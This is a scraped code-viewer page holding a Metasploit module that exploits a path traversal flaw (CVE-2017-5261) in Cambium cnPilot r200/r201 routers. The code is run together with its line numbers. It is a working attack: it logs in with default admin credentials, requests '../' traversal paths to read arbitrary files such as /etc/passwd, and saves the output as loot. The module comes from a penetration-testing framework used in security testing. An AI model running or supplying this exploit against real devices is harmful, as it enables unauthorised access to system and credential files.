Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/cnpilot_r_fpt.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::CNPILOT78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Cambium cnPilot r200/r201 File Path Traversal',13'Description' => %q{14This module exploits a File Path Traversal vulnerability in Cambium15cnPilot r200/r201 to read arbitrary files off the file system. Affected16versions - 4.3.3-R4 and prior.17},18'Author' => [19'Karn Ganeshen <KarnGaneshen[at]gmail.com>'20],21'References' => [22['CVE', '2017-5261'],23['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']24],25'License' => MSF_LICENSE26)27)2829register_options(30[31OptInt.new('TIMEOUT', [true, 'HTTP connection timeout', 10]),32Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.33OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),34OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'admin']),35OptString.new('FILENAME', [true, 'Filename to read', '/etc/passwd'])36], self.class37)3839deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')40end4142def run_host(_ip)43unless is_app_cnpilot?44return45end46end4748#49# Read file50#5152def read_file(the_cookie)53print_status("#{rhost}:#{rport} - Accessing the file...")54file = datastore['FILENAME']55fileuri = "/goform/logRead?Readfile=../../../../../../..#{file}"56final_url = (ssl ? 'https' : 'http').to_s + '://' + "#{rhost}:#{rport}" + fileuri.to_s5758res = send_request_cgi(59{60'uri' => fileuri,61'method' => 'GET',62'cookie' => the_cookie,63'headers' => {64'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'65}66}67)6869if res && res.code == 20070results = res.body7172if results.empty?73print_status('File not found.')74else75print_good(results.to_s)7677# w00t we got l00t78loot_name = 'fpt-log'79loot_type = 'text/plain'80loot_desc = 'Cambium cnPilot File Path Traversal Results'81data = results.to_s82p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)83print_good("File saved in: #{p}")84end85else86print_error("#{rhost}:#{rport} - Could not read file. You can manually check by accessing #{final_url}.")87return88end89end9091#92# Login & initiate file read93#9495def run_login96cookie, _version = do_login(datastore['USERNAME'], datastore['PASSWORD'])97if cookie == 'skip'98return99else100read_file(cookie)101end102end103end104105106